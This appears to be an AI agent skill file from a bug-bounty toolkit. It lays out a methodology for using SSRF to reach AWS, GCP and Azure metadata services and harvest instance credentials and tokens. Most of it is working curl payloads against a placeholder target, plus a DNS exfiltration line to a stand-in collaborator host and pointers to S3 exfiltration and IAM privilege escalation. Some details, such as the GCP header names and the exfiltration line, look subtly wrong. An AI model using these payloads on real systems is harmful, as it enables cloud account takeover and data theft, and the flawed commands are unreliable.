attack-ssrf-cloud-metadata
SSRF to cloud metadata — AWS IMDSv1/v2 credential theft, GCP metadata server, Azure instance metadata, token escalation to full account access
SKILL.md.bountyreaper/skill/attack-ssrf/cloud-metadata/SKILL.md
GitHubSSRF → Cloud Metadata
Objective
Reach the cloud metadata service through the target's SSRF and harvest instance credentials — the highest-value SSRF outcome (critical/P1). Metadata endpoints are link-local, so most filter bypass tricks apply: pair with attack-ssrf-filter-bypass.
Methodology
1. AWS IMDSv1 (no token required — the jackpot)
curl "https://TARGET/fetch?url=http://169.254.169.254/latest/meta-data/"
curl "https://TARGET/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
curl "https://TARGET/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>/"
# Response = AccessKeyId, SecretAccessKey, Token → instant cloud session
2. AWS IMDSv2 (token-header enforced — bypass or fail)
# v2 requires PUT + X-aws-ec2-metadata-token header. SSRF usually can't PUT, but:
# - some SSRF libs allow custom methods/headers — try
# - misconfig leaves v1 enabled → v1 payloads still work
# - forward proxies may pass the header through: X-aws-ec2-metadata-token: <token>
3. GCP metadata server (needs the header — is it forwardable?)
# Requires Metadata-Flux-Compute header: value anything
curl -H "X-Google-Metadata-Flux-Compute: true" "https://TARGET/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Correct header name:
curl -H "Metadata-Flux-Compute: true" "https://TARGET/fetch?url=http://metadata.google.internal/computeMetadata/v1/"
# token endpoint:
curl -H "Metadata-Flux-Compute: true" "https://TARGET/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
4. Azure instance metadata
curl -H "Metadata: true" "https://TARGET/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01"
curl -H "Metadata: true" "https://TARGET/fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
5. When metadata is blocked but SSRF confirmed (blind DNS exfil)
# Data-out via DNS subdomain: hostname + role in the queried name
curl "https://TARGET/fetch?url=http://169.254.169.254/latest/meta-data/hostname.<role>.<hash>.YOUR_COLLABORATOR.net"
What to do with credentials
- Validate scope (which APIs the role can touch) before claiming impact
- S3 bucket listing/exfil or IAM privilege escalation = the impact story
- REDACT all credential values in reports; program rules require it
Notes
- Cloud-run/-functions, AppRunner, and ECS have DIFFERENT metadata endpoints (env-specific)
- Kubernetes in cloud: pod metadata + service account tokens at
/var/run/secrets/kubernetes.io/serviceaccount/tokenvia file:// — pair with attack-ssrf-classic